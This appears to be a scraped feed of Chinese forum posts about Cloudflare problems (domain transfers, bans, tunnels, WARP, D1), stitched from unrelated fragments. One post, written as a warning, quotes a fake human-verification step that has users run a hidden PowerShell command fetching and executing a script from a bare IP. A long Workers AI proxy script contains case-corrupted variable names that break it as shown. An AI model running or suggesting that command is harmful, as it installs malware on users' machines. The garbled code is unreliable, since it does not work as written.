
https://blog.cloudflare.com/building-for-the-future/

同时 frps 的日志显示 no route found xxx ,然而实际上这个 customDomain 已经配置过,不然关闭 DNS 代理也不会访问的通
]]>但 worker 脚本中可能要访问的网站有地域限制,比如要访问日本,但客户端是德国
这种怎么处理?
]]>
AppStore 地址: https://apps.apple.com/us/app/flarekit/id6757950534
兑换码
老规矩,兑过的可以回个帖说一声,也算帮我顶一下 🙏
AMFPA7PRLA83X4M3HY HNXNHNY7THLH6J37FX N8ET4J7HTHJKHNJA8Y LA3MK46J3HKYFFMTKH 8WXTP8W3A8HWWPMFKA FK6KREPJF4PLPN66TX 8KERLWENMKNHYTMT7K FL3F4HAWLTHATHLP44 JXXFNJHP37KFAR36A3 L7MFFNFK7EA7ALJW4N ]]>新的注册商信息(权威 whois 信息,更新于 4 月 4 日):
Registrar contact Registrar Name Key-Systems GmbH Registrar Website https://www.key-systems.net cloudflare 提供的 whois 信息:
Registrar Registration Expiration Date: 2027-01-19T04:36:30Z Registrar: Cloudflare, Inc. Registrar IANA ID: 1910 Registrar Abuse Contact Email: registrar-abuse@cloudflare.com Registrar Abuse Contact Phone: +1-650-319-8936 可以分析域名已经被转移出去,我已于 4 月 12 日分别向转出方( cloudflare )和转入方( Key-Systems GmbH )发邮件,目前都没有得到回复
其中我没有从 cloudflare 收到任何关于域名(注册商)转出的邮件
目前该域名 A 记录指向 94.23.162.163 ,无法直接通过域名访问,访问该 IP 可知该域名应该在 Key-Systems GmbH 处于暂停状态
请大家转移过域名的一定要检查域名转移锁是否关闭!!
另:发现被转出后,cloudflare 的转移到其他注册机构的转移码锁无法锁定
]]>有兴趣的同学可以玩一玩, 哈哈哈
]]>172.30 段的,配搭 caddy 做 tls ,今天突然全部被拦截了。 The registrar services for this domain havebeen suspended by Cloudflare for a Terms ofService violation.
大佬们知道有啥办法恢复么😥, 网站上连个客户通道都没
]]>仅部分页面,如 test.php?id=xxx 被屏蔽,但 page.php?id=xxx 没被屏蔽
]]>404.html,有正常的 index.htmlxxx.com/robots.txt 的时候 index.html 的文件内容会出现在 CF 的 robots.txt 模板下面,感觉像 Pages 默认回落的逻辑也跟着执行了。大概就像这样:# As a condition of accessing this website, you agree to abide by the following # content signals: ... # BEGIN Cloudflare Managed content User-agent: * Content-Signal: search=yes,ai-train=no Allow: / ... # END Cloudflare Managed Content <!DOCTYPE html> <html lang="zh"> ... </html> ]]>但是在安卓手机上,试了多部手机+三家的网络,没有一个能连上。在设置里面改协议无论设置 WireGuard 还是 masque 都连不上。
这是为什么呢?难道安卓和 Windows/Linux 客户端连接的服务器不同还是协议不同?
]]>export default { async fetch(request, env, ctx) { // 处理 CORS 预检请求 if (request.method === 'OPTIONS') { return new Response(null, { status: 200, headers: { 'Access-Control-Allow-Origin': '*', 'Access-Control-Allow-Methods': 'GET, POST, OPTIONS', 'Access-Control-Allow-Headers': 'Content-Type, Authorization', 'Access-Control-Max-Age': '86400', }, }); } // 验证 API Key const authHeader = request.headers.get('Authorization'); if (!authHeader || !authHeader.startsWith('Bearer ')) { return new Response(JSON.stringify({ error: { message: 'API key required', type: 'invalid_request_error', code: 'invalid_api_key' } }), { status: 401, headers: { 'Content-Type': 'application/json', 'Access-Control-Allow-Origin': '*' } }); } const apiKey = authHeader.substring(7); const validApiKeys = env.VALID_API_KEYS ? env.VALID_API_KEYS.split(',') : ['your-api-key-here']; if (!validApiKeys.includes(apiKey)) { return new Response(JSON.stringify({ error: { message: 'Invalid API key', type: 'invalid_request_error', code: 'invalid_api_key' } }), { status: 401, headers: { 'Content-Type': 'application/json', 'Access-Control-Allow-Origin': '*' } }); } const url = new URL(request.url); // 模型映射 const modelMap = { 'deepseek-r1': '@cf/deepseek-ai/deepseek-r1-distill-qwen-32b', 'gpt-oss-120b': '@cf/openai/gpt-oss-120b', 'gpt-oss-20b': '@cf/openai/gpt-oss-20b', 'llama-4-scout': '@cf/meta/llama-4-scout-17b-16e-instruct', 'qwen32b': '@cf/qwen/qwq-32b', 'gemma-3': '@cf/google/gemma-3-12b-it', 'qwen3-embedding-0.6b': '@cf/qwen/qwen3-embedding-0.6b' }; // 聊天接口 if (url.pathname === '/v1/chat/completions' && request.method === 'POST') { try { const body = await request.json(); if (!body.messages || !Array.isArray(body.messages)) { return new Response(JSON.stringify({ error: { message: 'Messages must be an array', type: 'invalid_request_error', code: 'invalid_parameter' } }), { status: 400, headers: { 'Content-Type': 'application/json', 'Access-Control-Allow-Origin': '*' } }); } const model = body.model || 'deepseek-r1'; const cfModel = modelMap[model]; if (!cfModel) { return new Response(JSON.stringify({ error: { message: `Model '${model}' not supported`, type: 'invalid_request_error', code: 'model_not_found' } }), { status: 400, headers: { 'Content-Type': 'application/json', 'Access-Control-Allow-Origin': '*' } }); } // 构造 AI 请求参数 let aiRequest = {}; let useRespOnsesAPI= cfModel.startsWith('@cf/openai/gpt-oss'); if (useResponsesAPI) { // Responses API 格式 const systemMsg = body.messages.find(m => m.role === 'system')?.content || "You are a helpful assistant."; const userMsgs = body.messages.filter(m => m.role === 'user').map(m => m.content).join("\n"); aiRequest = { input: userMsgs, instructions: systemMsg, temperature: body.temperature ?? 0.7, top_p: body.top_p ?? 0.9, max_tokens: body.max_tokens ?? 2048, reasoning: body.reasoning ?? { effort: "medium" } }; } else { // 旧模型:拼接 prompt let prompt = ''; for (const message of body.messages) { if (message.role === 'system') prompt += `System: ${message.content}\n\n`; if (message.role === 'user') prompt += `User: ${message.content}\n\n`; if (message.role === 'assistant') prompt += `Assistant: ${message.content}\n\n`; } prompt += 'Assistant: '; aiRequest = { prompt, temperature: body.temperature ?? 0.7, top_p: body.top_p ?? 0.9, max_tokens: body.max_tokens ?? 4096, }; } // 调用 Cloudflare AI const respOnse= await env.AI.run(cfModel, aiRequest); const completiOnId= 'chatcmpl-' + Math.random().toString(36).substring(2, 15); const timestamp = Math.floor(Date.now() / 1000); // 获取最终回答内容 let assistantCOntent= ""; if (useResponsesAPI) { if (response.output && Array.isArray(response.output)) { assistantCOntent= response.output .flatMap(msg => msg.content .filter(c => c.type === "output_text") .map(c => c.text) ) .join("\n"); } } else { assistantCOntent= response.response ?? ""; } // 流式输出 if (body.stream) { const encoder = new TextEncoder(); const stream = new ReadableStream({ start(controller) { // 开始事件 controller.enqueue(encoder.encode(`data: ${JSON.stringify({ id: completionId, object: 'chat.completion.chunk', created: timestamp, model, choices: [{ index: 0, delta: { role: 'assistant', content: "" }, finish_reason: null }] })}\n\n`)); // 模拟逐块输出 const chunkSize = 20; for (let i = 0; i < assistantContent.length; i += chunkSize) { const chunk = assistantContent.slice(i, i + chunkSize); controller.enqueue(encoder.encode(`data: ${JSON.stringify({ id: completionId, object: 'chat.completion.chunk', created: timestamp, model, choices: [{ index: 0, delta: { content: chunk }, finish_reason: null }] })}\n\n`)); } // 结束事件 controller.enqueue(encoder.encode(`data: ${JSON.stringify({ id: completionId, object: 'chat.completion.chunk', created: timestamp, model, choices: [{ index: 0, delta: {}, finish_reason: 'stop' }] })}\n\n`)); controller.enqueue(encoder.encode('data: [DONE]\n\n')); controller.close(); } }); return new Response(stream, { headers: { 'Content-Type': 'text/event-stream', 'Cache-Control': 'no-cache', 'Connection': 'keep-alive', 'Access-Control-Allow-Origin': '*' }, }); } // 非流式输出 const chatCompletion = { id: completionId, object: 'chat.completion', created: timestamp, model, choices: [{ index: 0, message: { role: 'assistant', content: assistantContent }, finish_reason: 'stop' }], usage: { prompt_tokens: Math.ceil(JSON.stringify(body.messages).length / 4), completion_tokens: Math.ceil(assistantContent.length / 4), total_tokens: Math.ceil((JSON.stringify(body.messages).length + assistantContent.length) / 4) } }; return new Response(JSON.stringify(chatCompletion), { headers: { 'Content-Type': 'application/json', 'Access-Control-Allow-Origin': '*' } }); } catch (error) { console.error('Error:', error); return new Response(JSON.stringify({ error: { message: 'Internal server error', type: 'server_error', code: 'internal_error' } }), { status: 500, headers: { 'Content-Type': 'application/json', 'Access-Control-Allow-Origin': '*' } }); } } // 嵌入模型 if (url.pathname === '/v1/embeddings' && request.method === 'POST') { try { const body = await request.json(); if (!body.input) { return new Response(JSON.stringify({ error: { message: 'Input is required', type: 'invalid_request_error', code: 'invalid_parameter' } }), { status: 400, headers: { 'Content-Type': 'application/json', 'Access-Control-Allow-Origin': '*' } }); } const model = body.model; const cfModel = modelMap[model]; if (!cfModel) { return new Response(JSON.stringify({ error: { message: `Model '${model}' not supported`, type: 'invalid_request_error', code: 'model_not_found' } }), { status: 400, headers: { 'Content-Type': 'application/json', 'Access-Control-Allow-Origin': '*' } }); } // 调用 AI 获取 embedding let embeddingResponse; // Responses API 假设支持 embedding embeddingRespOnse= await env.AI.run(cfModel, { text: body.input }); // 构造返回 const embedding = embeddingResponse.embedding || [0]; // 如果返回格式不同,需要根据实际结果调整 return new Response(JSON.stringify(embeddingResponse), { headers: { 'Content-Type': 'application/json', 'Access-Control-Allow-Origin': '*' } }); } catch (error) { console.error('Embedding error:', error); return new Response(JSON.stringify({ error: { message: 'Internal server error', type: 'server_error', code: 'internal_error' } }), { status: 500, headers: { 'Content-Type': 'application/json', 'Access-Control-Allow-Origin': '*' } }); } } // 模型列表 if (url.pathname === '/v1/models' && request.method === 'GET') { const models = Object.keys(modelMap).map(id => ({ id, object: 'model', created: Math.floor(Date.now() / 1000), owned_by: 'cloudflare', permission: [{ id: 'modelperm-' + id, object: 'model_permission', created: Math.floor(Date.now() / 1000), allow_create_engine: false, allow_sampling: true, allow_logprobs: false, allow_search_indices: false, allow_view: true, allow_fine_tuning: false, organization: '*', group: null, is_blocking: false }] })); return new Response(JSON.stringify({ object: 'list', data: models }), { headers: { 'Content-Type': 'application/json', 'Access-Control-Allow-Origin': '*' } }); } // 健康检查 if (url.pathname === '/health' && request.method === 'GET') { return new Response(JSON.stringify({ status: 'healthy', timestamp: new Date().toISOString(), models: Object.keys(modelMap) }), { headers: { 'Content-Type': 'application/json', 'Access-Control-Allow-Origin': '*' } }); } // 404 return new Response(JSON.stringify({ error: { message: 'Not found', type: 'invalid_request_error', code: 'not_found' } }), { status: 404, headers: { 'Content-Type': 'application/json', 'Access-Control-Allow-Origin': '*' } }); }, }; ]]>2025 年 11 月 25 日,突然无论怎么样都无法访问这个数据库:
{ "errors": [ { "code": 7500, "message": "internal error; reference = e_PVSMDp_20e3b898d5734270a0f3c8dce1640a" } ], "success": false, "messages": [], "result": null }
2025 年 11 月 29 日,收到第一条有价值的邮件回复:
I just wanted to let you know that we've raised this issue with our engineering team, and need to put this ticket on temporary hold until we have more info for you. Rest assured we are currently working on your issue and will get back to you as soon as we have something to update.
2025 年 12 月 16 日,恢复正常😂。
]]>
]]>大家有没有设置过。我在考屏蔽一些比较危险的区域,比如 RU ,再屏蔽所有带安全隐患的类型,比如社工类。不知道还有没有什么其他操作。
https://developers.cloudflare.com/cloudflare-one/traffic-policies/dns-policies/
]]>]]>刚刚打开登录页花了 40 多秒,一个登录界面有 200 多个请求,点了人机验证又卡在 loading 界面 30 多秒。有没有可能等待本身就是防机器人的一个手段,并不是服务慢。
2025 年 11 月 12 日,我收到了 Cloudflare 的系统通知邮件,告诉我号没了
理由是:我仿冒和侵犯了 cloudflare 的商标
截止当前时间,我的号依然是禁止的状态
我账号下所有域名,禁止管理,也就无法转出,操作接口返回 403 状态:Registrar access forbidden
所以,我不建议将域名放在 Cloudflare ,还是去其他地方注册 NS 接入吧。
更详细的原文我发在我博客了: https://blog.renfei.net/posts/1626402130325676137
]]>
让我执行的命令
powershell -w h -c "$u='http://83.217.209.227/2UP.lim';$p=\"$env:USERPROFILE\Music\d.ps1\";(New-Object System.Net.WebClient).DownloadFile($u,$p);powershell -w h -ep bypass -f $p" 我还想着 CF 什么时候这么狠了,居然让用户执行 Shell 验证(第一反应以为是想让用户通过 Shell 往服务器上 POST 一些东西来证明不是 robot ),看到这里面的 URL 居然直接用 IP 地址而且没有 https ,还好多了个心眼。
想看看这脚本到底是啥,直接打开上面那个 URL 被卡巴斯基拦截了。

不过现在好像已经 404 了,不知道是不是会判断 UA 啥的,用浏览器打开就 404 。
关键是,这理应是个正规站(所以一开始我心理没设防),难道是被黑了?
]]>我已经完成了:
TODO:
请问是否有办法通过什么手段来拦截或者自定义 OSS 错误响应,从而隐藏 Bucket 信息?
感谢各位的帮助!

]]>那种高档商用宽带,需要营业执照,普通家庭也没有办法办理。
]]>试了下网上 dns 污染检测工具,不光国内,海外也是都解析到了这 2 个 IP 。 怎么感觉像上次阿里云的故障一样,大家有头绪吗?
]]>Encode 用 UTF8 ,EOL 使用 Win(CR/LF)和 Unix(LF)都试过。
]]>docker run cloudflare/cloudflared:latest tunnel --no-autoupdate run --token $TOKEN 出错信息如下:
Incorrect Usage: flag provided but not defined: -token NAME: cloudflared tunnel run - Proxy a local web server by running the given tunnel USAGE: cloudflared tunnel run [command options] TUNNEL-ID 以前在另外一台设备上运行好好的,今天在阿里云上就出现这个错误! 请问如何解决?
]]>我的网站会有一些能缓存的页面。能缓存的我肯定会设置缓存的。问题是大部分页面可能都是难以缓存的。我强行分析了一下,如果服务器在香港的话,相比服务器在美国西海岸可能会绕更多的路。另外不知道服务器在韩国或者日本会不会更快。我打算用阿里云,我看过了,不同地区共享型服务器价格是不一样的。韩国好像没有共享型的服务器。不知道有没有更多的坑。我还需要用日志服务和 OSS ,没准还会用其他的服务。
]]>